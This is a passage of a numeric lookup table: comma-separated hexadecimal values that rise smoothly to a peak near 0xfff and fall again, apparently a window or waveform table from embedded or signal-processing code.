0xde1, 0xde2, 0xde3, 0xde4, 0xde5, 0xde6, 0xde7, 0xde8, 0xde9,
0xdea, 0xdeb, 0xdec, 0xded, 0xdee, 0xdef, 0xdf0, 0xdf1, 0xdf2,
0xdf3, 0xdf4, 0xdf5, 0xdf6, 0xdf7, 0xdf8, 0xdf9, 0xdfa, 0xdfb,
0xdfc, 0xdfd, 0xdfe, 0xdff, 0xdff, 0xe00, 0xe01, 0xe02, 0xe03,
0xe04, 0xe05, 0xe06, 0xe07, 0xe08, 0xe09, 0xe0a, 0xe0b, 0xe0c,
0xe0d, 0xe0e, 0xe0f, 0xe10, 0xe11, 0xe12, 0xe13, 0xe14, 0xe15,
0xe16, 0xe16, 0xe17, 0xe18, 0xe19, 0xe1a, 0xe1b, 0xe1c, 0xe1d,
0xe1e, 0xe1f, 0xe20, 0xe21, 0xe22, 0xe23, 0xe24, 0xe25, 0xe26,
0xe26, 0xe27, 0xe28, 0xe29, 0xe2a, 0xe2b, 0xe2c, 0xe2d, 0xe2e,
0xe2f, 0xe30, 0xe31, 0xe32, 0xe33, 0xe33, 0xe34, 0xe35, 0xe36,
0xe37, 0xe38, 0xe39, 0xe3a, 0xe3b, 0xe3c, 0xe3d, 0xe3e, 0xe3e,
0xe3f, 0xe40, 0xe41, 0xe42, 0xe43, 0xe44, 0xe45, 0xe46, 0xe47,
0xe47, 0xe48, 0xe49, 0xe4a, 0xe4b, 0xe4c, 0xe4d, 0xe4e, 0xe4f,
0xe50, 0xe50, 0xe51, 0xe52, 0xe53, 0xe54, 0xe55, 0xe56, 0xe57,
0xe58, 0xe58, 0xe59, 0xe5a, 0xe5b, 0xe5c, 0xe5d, 0xe5e, 0xe5f,
0xe60, 0xe60, 0xe61, 0xe62, 0xe63, 0xe64, 0xe65, 0xe66, 0xe67,
0xe67, 0xe68, 0xe69, 0xe6a, 0xe6b, 0xe6c, 0xe6d, 0xe6d, 0xe6e,
0xe6f, 0xe70, 0xe71, 0xe72, 0xe73, 0xe73, 0xe74, 0xe75, 0xe76,
0xe77, 0xe78, 0xe79, 0xe79, 0xe7a, 0xe7b, 0xe7c, 0xe7d, 0xe7e,
0xe7f, 0xe7f, 0xe80, 0xe81, 0xe82, 0xe83, 0xe84, 0xe84, 0xe85,
0xe86, 0xe87, 0xe88, 0xe89, 0xe89, 0xe8a, 0xe8b, 0xe8c, 0xe8d,
0xe8e, 0xe8e, 0xe8f, 0xe90, 0xe91, 0xe92, 0xe93, 0xe93, 0xe94,
0xe95, 0xe96, 0xe97, 0xe98, 0xe98, 0xe99, 0xe9a, 0xe9b, 0xe9c,
0xe9c, 0xe9d, 0xe9e, 0xe9f, 0xea0, 0xea1, 0xea1, 0xea2, 0xea3,
0xea4, 0xea5, 0xea5, 0xea6, 0xea7, 0xea8, 0xea9, 0xea9, 0xeaa,
0xeab, 0xeac, 0xead, 0xead, 0xeae, 0xeaf, 0xeb0, 0xeb1, 0xeb1,
0xeb2, 0xeb3, 0xeb4, 0xeb4, 0xeb5, 0xeb6, 0xeb7, 0xeb8, 0xeb8,
0xeb9, 0xeba, 0xebb, 0xebc, 0xebc, 0xebd, 0xebe, 0xebf, 0xebf,
0xec0, 0xec1, 0xec2, 0xec3, 0xec3, 0xec4, 0xec5, 0xec6, 0xec6,
0xec7, 0xec8, 0xec9, 0xec9, 0xeca, 0xecb, 0xecc, 0xecc, 0xecd,
0xece, 0xecf, 0xed0, 0xed0, 0xed1, 0xed2, 0xed3, 0xed3, 0xed4,
0xed5, 0xed6, 0xed6, 0xed7, 0xed8, 0xed9, 0xed9, 0xeda, 0xedb,
0xedb, 0xedc, 0xedd, 0xede, 0xede, 0xedf, 0xee0, 0xee1, 0xee1,
0xee2, 0xee3, 0xee4, 0xee4, 0xee5, 0xee6, 0xee7, 0xee7, 0xee8,
0xee9, 0xee9, 0xeea, 0xeeb, 0xeec, 0xeec, 0xeed, 0xeee, 0xeee,
0xeef, 0xef0, 0xef1, 0xef1, 0xef2, 0xef3, 0xef3, 0xef4, 0xef5,
0xef6, 0xef6, 0xef7, 0xef8, 0xef8, 0xef9, 0xefa, 0xefb, 0xefb,
0xefc, 0xefd, 0xefd, 0xefe, 0xeff, 0xeff, 0xf00, 0xf01, 0xf02,
0xf02, 0xf03, 0xf04, 0xf04, 0xf05, 0xf06, 0xf06, 0xf07, 0xf08,
0xf08, 0xf09, 0xf0a, 0xf0a, 0xf0b, 0xf0c, 0xf0c, 0xf0d, 0xf0e,
0xf0f, 0xf0f, 0xf10, 0xf11, 0xf11, 0xf12, 0xf13, 0xf13, 0xf14,
0xf15, 0xf15, 0xf16, 0xf17, 0xf17, 0xf18, 0xf19, 0xf19, 0xf1a,
0xf1b, 0xf1b, 0xf1c, 0xf1d, 0xf1d, 0xf1e, 0xf1e, 0xf1f, 0xf20,
0xf20, 0xf21, 0xf22, 0xf22, 0xf23, 0xf24, 0xf24, 0xf25, 0xf26,
0xf26, 0xf27, 0xf28, 0xf28, 0xf29, 0xf29, 0xf2a, 0xf2b, 0xf2b,
0xf2c, 0xf2d, 0xf2d, 0xf2e, 0xf2f, 0xf2f, 0xf30, 0xf30, 0xf31,
0xf32, 0xf32, 0xf33, 0xf34, 0xf34, 0xf35, 0xf35, 0xf36, 0xf37,
0xf37, 0xf38, 0xf39, 0xf39, 0xf3a, 0xf3a, 0xf3b, 0xf3c, 0xf3c,
0xf3d, 0xf3d, 0xf3e, 0xf3f, 0xf3f, 0xf40, 0xf40, 0xf41, 0xf42,
0xf42, 0xf43, 0xf43, 0xf44, 0xf45, 0xf45, 0xf46, 0xf46, 0xf47,
0xf48, 0xf48, 0xf49, 0xf49, 0xf4a, 0xf4b, 0xf4b, 0xf4c, 0xf4c,
0xf4d, 0xf4d, 0xf4e, 0xf4f, 0xf4f, 0xf50, 0xf50, 0xf51, 0xf52,
0xf52, 0xf53, 0xf53, 0xf54, 0xf54, 0xf55, 0xf56, 0xf56, 0xf57,
0xf57, 0xf58, 0xf58, 0xf59, 0xf5a, 0xf5a, 0xf5b, 0xf5b, 0xf5c,
0xf5c, 0xf5d, 0xf5d, 0xf5e, 0xf5f, 0xf5f, 0xf60, 0xf60, 0xf61,
0xf61, 0xf62, 0xf62, 0xf63, 0xf64, 0xf64, 0xf65, 0xf65, 0xf66,
0xf66, 0xf67, 0xf67, 0xf68, 0xf68, 0xf69, 0xf69, 0xf6a, 0xf6b,
0xf6b, 0xf6c, 0xf6c, 0xf6d, 0xf6d, 0xf6e, 0xf6e, 0xf6f, 0xf6f,
0xf70, 0xf70, 0xf71, 0xf71, 0xf72, 0xf72, 0xf73, 0xf74, 0xf74,
0xf75, 0xf75, 0xf76, 0xf76, 0xf77, 0xf77, 0xf78, 0xf78, 0xf79,
0xf79, 0xf7a, 0xf7a, 0xf7b, 0xf7b, 0xf7c, 0xf7c, 0xf7d, 0xf7d,
0xf7e, 0xf7e, 0xf7f, 0xf7f, 0xf80, 0xf80, 0xf81, 0xf81, 0xf82,
0xf82, 0xf83, 0xf83, 0xf84, 0xf84, 0xf85, 0xf85, 0xf86, 0xf86,
0xf87, 0xf87, 0xf87, 0xf88, 0xf88, 0xf89, 0xf89, 0xf8a, 0xf8a,
0xf8b, 0xf8b, 0xf8c, 0xf8c, 0xf8d, 0xf8d, 0xf8e, 0xf8e, 0xf8f,
0xf8f, 0xf90, 0xf90, 0xf90, 0xf91, 0xf91, 0xf92, 0xf92, 0xf93,
0xf93, 0xf94, 0xf94, 0xf95, 0xf95, 0xf95, 0xf96, 0xf96, 0xf97,
0xf97, 0xf98, 0xf98, 0xf99, 0xf99, 0xf9a, 0xf9a, 0xf9a, 0xf9b,
0xf9b, 0xf9c, 0xf9c, 0xf9d, 0xf9d, 0xf9d, 0xf9e, 0xf9e, 0xf9f,
0xf9f, 0xfa0, 0xfa0, 0xfa0, 0xfa1, 0xfa1, 0xfa2, 0xfa2, 0xfa3,
0xfa3, 0xfa3, 0xfa4, 0xfa4, 0xfa5, 0xfa5, 0xfa6, 0xfa6, 0xfa6,
0xfa7, 0xfa7, 0xfa8, 0xfa8, 0xfa8, 0xfa9, 0xfa9, 0xfaa, 0xfaa,
0xfaa, 0xfab, 0xfab, 0xfac, 0xfac, 0xfac, 0xfad, 0xfad, 0xfae,
0xfae, 0xfae, 0xfaf, 0xfaf, 0xfb0, 0xfb0, 0xfb0, 0xfb1, 0xfb1,
0xfb2, 0xfb2, 0xfb2, 0xfb3, 0xfb3, 0xfb4, 0xfb4, 0xfb4, 0xfb5,
0xfb5, 0xfb5, 0xfb6, 0xfb6, 0xfb7, 0xfb7, 0xfb7, 0xfb8, 0xfb8,
0xfb8, 0xfb9, 0xfb9, 0xfba, 0xfba, 0xfba, 0xfbb, 0xfbb, 0xfbb,
0xfbc, 0xfbc, 0xfbc, 0xfbd, 0xfbd, 0xfbe, 0xfbe, 0xfbe, 0xfbf,
0xfbf, 0xfbf, 0xfc0, 0xfc0, 0xfc0, 0xfc1, 0xfc1, 0xfc1, 0xfc2,
0xfc2, 0xfc2, 0xfc3, 0xfc3, 0xfc3, 0xfc4, 0xfc4, 0xfc5, 0xfc5,
0xfc5, 0xfc6, 0xfc6, 0xfc6, 0xfc7, 0xfc7, 0xfc7, 0xfc8, 0xfc8,
0xfc8, 0xfc8, 0xfc9, 0xfc9, 0xfc9, 0xfca, 0xfca, 0xfca, 0xfcb,
0xfcb, 0xfcb, 0xfcc, 0xfcc, 0xfcc, 0xfcd, 0xfcd, 0xfcd, 0xfce,
0xfce, 0xfce, 0xfcf, 0xfcf, 0xfcf, 0xfcf, 0xfd0, 0xfd0, 0xfd0,
0xfd1, 0xfd1, 0xfd1, 0xfd2, 0xfd2, 0xfd2, 0xfd2, 0xfd3, 0xfd3,
0xfd3, 0xfd4, 0xfd4, 0xfd4, 0xfd5, 0xfd5, 0xfd5, 0xfd5, 0xfd6,
0xfd6, 0xfd6, 0xfd7, 0xfd7, 0xfd7, 0xfd7, 0xfd8, 0xfd8, 0xfd8,
0xfd8, 0xfd9, 0xfd9, 0xfd9, 0xfda, 0xfda, 0xfda, 0xfda, 0xfdb,
0xfdb, 0xfdb, 0xfdb, 0xfdc, 0xfdc, 0xfdc, 0xfdc, 0xfdd, 0xfdd,
0xfdd, 0xfde, 0xfde, 0xfde, 0xfde, 0xfdf, 0xfdf, 0xfdf, 0xfdf,
0xfe0, 0xfe0, 0xfe0, 0xfe0, 0xfe1, 0xfe1, 0xfe1, 0xfe1, 0xfe2,
0xfe2, 0xfe2, 0xfe2, 0xfe2, 0xfe3, 0xfe3, 0xfe3, 0xfe3, 0xfe4,
0xfe4, 0xfe4, 0xfe4, 0xfe5, 0xfe5, 0xfe5, 0xfe5, 0xfe5, 0xfe6,
0xfe6, 0xfe6, 0xfe6, 0xfe7, 0xfe7, 0xfe7, 0xfe7, 0xfe7, 0xfe8,
0xfe8, 0xfe8, 0xfe8, 0xfe9, 0xfe9, 0xfe9, 0xfe9, 0xfe9, 0xfea,
0xfea, 0xfea, 0xfea, 0xfea, 0xfeb, 0xfeb, 0xfeb, 0xfeb, 0xfeb,
0xfec, 0xfec, 0xfec, 0xfec, 0xfec, 0xfed, 0xfed, 0xfed, 0xfed,
0xfed, 0xfee, 0xfee, 0xfee, 0xfee, 0xfee, 0xfee, 0xfef, 0xfef,
0xfef, 0xfef, 0xfef, 0xff0, 0xff0, 0xff0, 0xff0, 0xff0, 0xff0,
0xff1, 0xff1, 0xff1, 0xff1, 0xff1, 0xff1, 0xff2, 0xff2, 0xff2,
0xff2, 0xff2, 0xff2, 0xff3, 0xff3, 0xff3, 0xff3, 0xff3, 0xff3,
0xff3, 0xff4, 0xff4, 0xff4, 0xff4, 0xff4, 0xff4, 0xff5, 0xff5,
0xff5, 0xff5, 0xff5, 0xff5, 0xff5, 0xff6, 0xff6, 0xff6, 0xff6,
0xff6, 0xff6, 0xff6, 0xff6, 0xff7, 0xff7, 0xff7, 0xff7, 0xff7,
0xff7, 0xff7, 0xff8, 0xff8, 0xff8, 0xff8, 0xff8, 0xff8, 0xff8,
0xff8, 0xff8, 0xff9, 0xff9, 0xff9, 0xff9, 0xff9, 0xff9, 0xff9,
0xff9, 0xff9, 0xffa, 0xffa, 0xffa, 0xffa, 0xffa, 0xffa, 0xffa,
0xffa, 0xffa, 0xffb, 0xffb, 0xffb, 0xffb, 0xffb, 0xffb, 0xffb,
0xffb, 0xffb, 0xffb, 0xffb, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc,
0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffd, 0xffd,
0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd,
0xffd, 0xffd, 0xffd, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe,
0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe,
0xffe, 0xffe, 0xffe, 0xffe, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0x1000, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xfff,
0xfff, 0xfff, 0xfff, 0xfff, 0xfff, 0xffe, 0xffe, 0xffe, 0xffe,
0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe,
0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffe, 0xffd, 0xffd, 0xffd,
0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd, 0xffd,
0xffd, 0xffd, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffc,
0xffc, 0xffc, 0xffc, 0xffc, 0xffc, 0xffb, 0xffb, 0xffb, 0xffb,
0xffb, 0xffb, 0xffb, 0xffb, 0xffb, 0xffb, 0xffb, 0xffa, 0xffa,
0xffa, 0xffa, 0xffa, 0xffa, 0xffa, 0xffa, 0xffa, 0xff9, 0xff9,
0xff9, 0xff9, 0xff9, 0xff9, 0xff9, 0xff9, 0xff9, 0xff8, 0xff8,
0xff8, 0xff8, 0xff8, 0xff8, 0xff8, 0xff8, 0xff8, 0xff7, 0xff7,
0xff7, 0xff7, 0xff7, 0xff7, 0xff7, 0xff6, 0xff6, 0xff6, 0xff6,
0xff6, 0xff6, 0xff6, 0xff6, 0xff5, 0xff5, 0xff5, 0xff5, 0xff5,
0xff5, 0xff5, 0xff4, 0xff4, 0xff4, 0xff4, 0xff4, 0xff4, 0xff3,
0xff3, 0xff3, 0xff3, 0xff3, 0xff3, 0xff3, 0xff2, 0xff2, 0xff2,
0xff2, 0xff2, 0xff2, 0xff1, 0xff1, 0xff1, 0xff1, 0xff1, 0xff1,
0xff0, 0xff0, 0xff0, 0xff0, 0xff0, 0xff0, 0xfef, 0xfef, 0xfef,
0xfef, 0xfef, 0xfee, 0xfee, 0xfee, 0xfee, 0xfee, 0xfee, 0xfed,
0xfed, 0xfed, 0xfed, 0xfed, 0xfec, 0xfec, 0xfec, 0xfec, 0xfec,
0xfeb, 0xfeb, 0xfeb, 0xfeb, 0xfeb, 0xfea, 0xfea, 0xfea, 0xfea,
0xfea, 0xfe9, 0xfe9, 0xfe9, 0xfe9, 0xfe9, 0xfe8, 0xfe8, 0xfe8,
0xfe8, 0xfe7, 0xfe7, 0xfe7, 0xfe7, 0xfe7, 0xfe6, 0xfe6, 0xfe6,
0xfe6, 0xfe5, 0xfe5, 0xfe5, 0xfe5, 0xfe5, 0xfe4, 0xfe4, 0xfe4,
0xfe4, 0xfe3, 0xfe3, 0xfe3, 0xfe3, 0xfe2, 0xfe2, 0xfe2, 0xfe2,
0xfe2, 0xfe1, 0xfe1, 0xfe1, 0xfe1, 0xfe0, 0xfe0, 0xfe0, 0xfe0,
0xfdf, 0xfdf, 0xfdf, 0xfdf, 0xfde, 0xfde, 0xfde, 0xfde, 0xfdd,
0xfdd, 0xfdd, 0xfdc, 0xfdc, 0xfdc, 0xfdc, 0xfdb, 0xfdb, 0xfdb,
0xfdb, 0xfda, 0xfda, 0xfda, 0xfda, 0xfd9, 0xfd9, 0xfd9, 0xfd8,
0xfd8, 0xfd8, 0xfd8, 0xfd7, 0xfd7, 0xfd7, 0xfd7, 0xfd6, 0xfd6,
0xfd6, 0xfd5, 0xfd5, 0xfd5, 0xfd5, 0xfd4, 0xfd4, 0xfd4, 0xfd3,
0xfd3, 0xfd3, 0xfd2, 0xfd2, 0xfd2, 0xfd2, 0xfd1, 0xfd1, 0xfd1,
0xfd0, 0xfd0, 0xfd0, 0xfcf, 0xfcf, 0xfcf, 0xfcf, 0xfce, 0xfce,
0xfce, 0xfcd, 0xfcd, 0xfcd, 0xfcc, 0xfcc, 0xfcc, 0xfcb, 0xfcb,
0xfcb, 0xfca, 0xfca, 0xfca, 0xfc9, 0xfc9, 0xfc9, 0xfc8, 0xfc8,
0xfc8, 0xfc8, 0xfc7, 0xfc7, 0xfc7, 0xfc6, 0xfc6, 0xfc6, 0xfc5,
0xfc5, 0xfc5, 0xfc4, 0xfc4, 0xfc3, 0xfc3, 0xfc3, 0xfc2, 0xfc2,
0xfc2, 0xfc1, 0xfc1, 0xfc1, 0xfc0, 0xfc0, 0xfc0, 0xfbf, 0xfbf,
0xfbf, 0xfbe, 0xfbe, 0xfbe, 0xfbd, 0xfbd, 0xfbc, 0xfbc, 0xfbc,
0xfbb, 0xfbb, 0xfbb, 0xfba, 0xfba, 0xfba, 0xfb9, 0xfb9, 0xfb8,
0xfb8, 0xfb8, 0xfb7, 0xfb7, 0xfb7, 0xfb6, 0xfb6, 0xfb5, 0xfb5,
0xfb5, 0xfb4, 0xfb4, 0xfb4, 0xfb3, 0xfb3, 0xfb2, 0xfb2, 0xfb2,
0xfb1, 0xfb1, 0xfb0, 0xfb0, 0xfb0, 0xfaf, 0xfaf, 0xfae, 0xfae,
0xfae, 0xfad, 0xfad, 0xfac, 0xfac, 0xfac, 0xfab, 0xfab, 0xfaa,
0xfaa, 0xfaa, 0xfa9, 0xfa9, 0xfa8, 0xfa8, 0xfa8, 0xfa7, 0xfa7,
0xfa6, 0xfa6, 0xfa6, 0xfa5, 0xfa5, 0xfa4, 0xfa4, 0xfa3, 0xfa3,
0xfa3, 0xfa2, 0xfa2, 0xfa1, 0xfa1, 0xfa0, 0xfa0, 0xfa0, 0xf9f,
0xf9f, 0xf9e, 0xf9e, 0xf9d, 0xf9d, 0xf9d, 0xf9c, 0xf9c, 0xf9b,
0xf9b, 0xf9a, 0xf9a, 0xf9a, 0xf99, 0xf99, 0xf98, 0xf98, 0xf97,
0xf97, 0xf96, 0xf96, 0xf95, 0xf95, 0xf95, 0xf94, 0xf94, 0xf93,
0xf93, 0xf92, 0xf92, 0xf91, 0xf91, 0xf90, 0xf90, 0xf90, 0xf8f,
0xf8f, 0xf8e, 0xf8e, 0xf8d, 0xf8d, 0xf8c, 0xf8c, 0xf8b, 0xf8b,
0xf8a, 0xf8a, 0xf89, 0xf89, 0xf88, 0xf88, 0xf87, 0xf87, 0xf87,
0xf86, 0xf86, 0xf85, 0xf85, 0xf84, 0xf84, 0xf83, 0xf83, 0xf82,
0xf82, 0xf81, 0xf81, 0xf80, 0xf80, 0xf7f, 0xf7f, 0xf7e, 0xf7e,
0xf7d, 0xf7d, 0xf7c, 0xf7c, 0xf7b, 0xf7b, 0xf7a, 0xf7a, 0xf79,
0xf79, 0xf78, 0xf78, 0xf77, 0xf77, 0xf76, 0xf76, 0xf75, 0xf75,
0xf74, 0xf74, 0xf73, 0xf72, 0xf72, 0xf71, 0xf71, 0xf70, 0xf70,
0xf6f, 0xf6f, 0xf6e, 0xf6e, 0xf6d, 0xf6d, 0xf6c, 0xf6c, 0xf6b,
0xf6b, 0xf6a, 0xf69, 0xf69, 0xf68, 0xf68, 0xf67, 0xf67, 0xf66,
0xf66, 0xf65, 0xf65, 0xf64, 0xf64, 0xf63, 0xf62, 0xf62, 0xf61,
0xf61, 0xf60, 0xf60, 0xf5f, 0xf5f, 0xf5e, 0xf5d, 0xf5d, 0xf5c,
0xf5c, 0xf5b, 0xf5b, 0xf5a, 0xf5a, 0xf59, 0xf58, 0xf58, 0xf57,
0xf57, 0xf56, 0xf56, 0xf55, 0xf54, 0xf54, 0xf53, 0xf53, 0xf52,
0xf52, 0xf51, 0xf50, 0xf50, 0xf4f, 0xf4f, 0xf4e, 0xf4d, 0xf4d,
0xf4c, 0xf4c, 0xf4b, 0xf4b, 0xf4a, 0xf49, 0xf49, 0xf48, 0xf48,
0xf47, 0xf46, 0xf46, 0xf45, 0xf45, 0xf44, 0xf43, 0xf43, 0xf42,
0xf42, 0xf41, 0xf40, 0xf40, 0xf3f, 0xf3f, 0xf3e, 0xf3d, 0xf3d,
0xf3c, 0xf3c, 0xf3b, 0xf3a, 0xf3a, 0xf39, 0xf39, 0xf38, 0xf37,
0xf37, 0xf36, 0xf35, 0xf35, 0xf34, 0xf34, 0xf33, 0xf32, 0xf32,
0xf31, 0xf30, 0xf30, 0xf2f, 0xf2f, 0xf2e, 0xf2d, 0xf2d, 0xf2c,
0xf2b, 0xf2b, 0xf2a, 0xf29, 0xf29, 0xf28, 0xf28, 0xf27, 0xf26,
0xf26, 0xf25, 0xf24, 0xf24, 0xf23, 0xf22, 0xf22, 0xf21, 0xf20,
0xf20, 0xf1f, 0xf1e, 0xf1e, 0xf1d, 0xf1d, 0xf1c, 0xf1b, 0xf1b,
0xf1a, 0xf19, 0xf19, 0xf18, 0xf17, 0xf17, 0xf16, 0xf15, 0xf15,
0xf14, 0xf13, 0xf13, 0xf12, 0xf11, 0xf11, 0xf10, 0xf0f, 0xf0f,
0xf0e, 0xf0d, 0xf0c, 0xf0c, 0xf0b, 0xf0a, 0xf0a, 0xf09, 0xf08,
0xf08, 0xf07, 0xf06, 0xf06, 0xf05, 0xf04, 0xf04, 0xf03, 0xf02,
0xf02, 0xf01, 0xf00, 0xeff, 0xeff, 0xefe, 0xefd, 0xefd, 0xefc,
0xefb, 0xefb, 0xefa, 0xef9, 0xef8, 0xef8, 0xef7, 0xef6, 0xef6,
0xef5, 0xef4, 0xef3, 0xef3, 0xef2, 0xef1, 0xef1, 0xef0, 0xeef,
0xeee, 0xeee, 0xeed, 0xeec, 0xeec, 0xeeb, 0xeea, 0xee9, 0xee9,
0xee8, 0xee7, 0xee7, 0xee6, 0xee5, 0xee4, 0xee4, 0xee3, 0xee2,
0xee1, 0xee1, 0xee0, 0xedf, 0xede, 0xede, 0xedd, 0xedc, 0xedb,
0xedb, 0xeda, 0xed9, 0xed9, 0xed8, 0xed7, 0xed6, 0xed6, 0xed5,
0xed4, 0xed3, 0xed3, 0xed2, 0xed1, 0xed0, 0xed0, 0xecf, 0xece,
0xecd, 0xecc, 0xecc, 0xecb, 0xeca, 0xec9, 0xec9, 0xec8, 0xec7,
0xec6, 0xec6, 0xec5, 0xec4, 0xec3, 0xec3, 0xec2, 0xec1, 0xec0,
0xebf, 0xebf, 0xebe, 0xebd, 0xebc, 0xebc, 0xebb, 0xeba, 0xeb9,
0xeb8, 0xeb8, 0xeb7, 0xeb6, 0xeb5, 0xeb4, 0xeb4, 0xeb3, 0xeb2,
0xeb1, 0xeb1, 0xeb0, 0xeaf, 0xeae, 0xead, 0xead, 0xeac, 0xeab,
0xeaa, 0xea9, 0xea9, 0xea8, 0xea7, 0xea6, 0xea5, 0xea5, 0xea4,
0xea3, 0xea2, 0xea1, 0xea1, 0xea0, 0xe9f, 0xe9e, 0xe9d, 0xe9c,
0xe9c, 0xe9b, 0xe9a, 0xe99, 0xe98, 0xe98, 0xe97, 0xe96, 0xe95,
0xe94, 0xe93, 0xe93, 0xe92, 0xe91, 0xe90, 0xe8f, 0xe8e, 0xe8e,
0xe8d, 0xe8c, 0xe8b, 0xe8a, 0xe89, 0xe89, 0xe88, 0xe87, 0xe86,
0xe85, 0xe84, 0xe84, 0xe83, 0xe82, 0xe81, 0xe80, 0xe7f, 0xe7f,
0xe7e, 0xe7d, 0xe7c, 0xe7b, 0xe7a, 0xe79, 0xe79, 0xe78, 0xe77,
0xe76, 0xe75, 0xe74, 0xe73, 0xe73, 0xe72, 0xe71, 0xe70, 0xe6f,
0xe6e, 0xe6d, 0xe6d, 0xe6c, 0xe6b, 0xe6a, 0xe69, 0xe68, 0xe67,
0xe67, 0xe66, 0xe65, 0xe64, 0xe63, 0xe62, 0xe61, 0xe60, 0xe60,
0xe5f, 0xe5e, 0xe5d, 0xe5c, 0xe5b, 0xe5a, 0xe59, 0xe58, 0xe58,
0xe57, 0xe56, 0xe55, 0xe54, 0xe53, 0xe52, 0xe51, 0xe50, 0xe50,
0xe4f, 0xe4e, 0xe4d, 0xe4c, 0xe4b, 0xe4a, 0xe49, 0xe48, 0xe47,
0xe47, 0xe46, 0xe45, 0xe44, 0xe43, 0xe42, 0xe41, 0xe40, 0xe3f,
0xe3e, 0xe3e, 0xe3d, 0xe3c, 0xe3b, 0xe3a, 0xe39, 0xe38, 0xe37,
0xe36, 0xe35, 0xe34, 0xe33, 0xe33, 0xe32, 0xe31, 0xe30, 0xe2f,
0xe2e, 0xe2d, 0xe2c, 0xe2b, 0xe2a, 0xe29, 0xe28, 0xe27, 0xe26,
0xe26, 0xe25, 0xe24, 0xe23, 0xe22, 0xe21, 0xe20, 0xe1f, 0xe1e,
0xe1d, 0xe1c, 0xe1b, 0xe1a, 0xe19, 0xe18, 0xe17, 0xe16, 0xe16,
0xe15, 0xe14, 0xe13, 0xe12, 0xe11, 0xe10, 0xe0f, 0xe0e, 0xe0d,
0xe0c, 0xe0b, 0xe0a, 0xe09, 0xe08, 0xe07, 0xe06, 0xe05, 0xe04,
0xe03, 0xe02, 0xe01, 0xe00, 0xdff, 0xdff, 0xdfe, 0xdfd, 0xdfc,
0xdfb, 0xdfa, 0xdf9, 0xdf8, 0xdf7, 0xdf6, 0xdf5, 0xdf4, 0xdf3,
0xdf2, 0xdf1, 0xdf0, 0xdef, 0xdee, 0xded, 0xdec, 0xdeb, 0xdea,
0xde9, 0xde8, 0xde7, 0xde6, 0xde5, 0xde4, 0xde3, 0xde2, 0xde1,
0xde0, 0xddf, 0xdde, 0xddd, 0xddc, 0xddb, 0xdda, 0xdd9, 0xdd8,
0xdd7, 0xdd6, 0xdd5, 0xdd4, 0xdd3, 0xdd2, 0xdd1, 0xdd0, 0xdcf,
0xdce, 0xdcd, 0xdcc, 0xdcb, 0xdca, 0xdc9, 0xdc8, 0xdc7, 0xdc6,
0xdc5, 0xdc4, 0xdc3, 0xdc2, 0xdc1, 0xdc0, 0xdbf, 0xdbe, 0xdbd,
0xdbc, 0xdbb, 0xdba, 0xdb9, 0xdb8, 0xdb7, 0xdb6, 0xdb4, 0xdb3,
0xdb2, 0xdb1, 0xdb0, 0xdaf, 0xdae, 0xdad, 0xdac, 0xdab, 0xdaa,
0xda9, 0xda8, 0xda7, 0xda6, 0xda5, 0xda4, 0xda3, 0xda2, 0xda1,
0xda0, 0xd9f, 0xd9e, 0xd9d, 0xd9b, 0xd9a, 0xd99, 0xd98, 0xd97,
0xd96, 0xd95, 0xd94, 0xd93, 0xd92, 0xd91, 0xd90, 0xd8f, 0xd8e,
0xd8d, 0xd8c, 0xd8b, 0xd89, 0xd88, 0xd87, 0xd86, 0xd85, 0xd84,
0xd83, 0xd82, 0xd81, 0xd80, 0xd7f, 0xd7e, 0xd7d, 0xd7c, 0xd7a,
0xd79, 0xd78, 0xd77, 0xd76, 0xd75, 0xd74, 0xd73, 0xd72, 0xd71,
0xd70, 0xd6f, 0xd6d, 0xd6c, 0xd6b, 0xd6a, 0xd69, 0xd68, 0xd67,
0xd66, 0xd65, 0xd64, 0xd63, 0xd61, 0xd60, 0xd5f, 0xd5e, 0xd5d,
0xd5c, 0xd5b, 0xd5a, 0xd59, 0xd58, 0xd56, 0xd55, 0xd54, 0xd53,
0xd52, 0xd51, 0xd50, 0xd4f, 0xd4e, 0xd4d, 0xd4b, 0xd4a, 0xd49,
0xd48, 0xd47, 0xd46, 0xd45, 0xd44, 0xd42, 0xd41, 0xd40, 0xd3f,
0xd3e, 0xd3d, 0xd3c, 0xd3b, 0xd39, 0xd38, 0xd37, 0xd36, 0xd35,
0xd34, 0xd33, 0xd32, 0xd30, 0xd2f, 0xd2e, 0xd2d, 0xd2c, 0xd2b,
0xd2a, 0xd29, 0xd27, 0xd26, 0xd25, 0xd24, 0xd23, 0xd22, 0xd21,
0xd1f, 0xd1e, 0xd1d, 0xd1c, 0xd1b, 0xd1a, 0xd19, 0xd17, 0xd16,
0xd15, 0xd14, 0xd13, 0xd12, 0xd10, 0xd0f, 0xd0e, 0xd0d, 0xd0c,
0xd0b, 0xd0a, 0xd08, 0xd07, 0xd06, 0xd05, 0xd04, 0xd03, 0xd01,
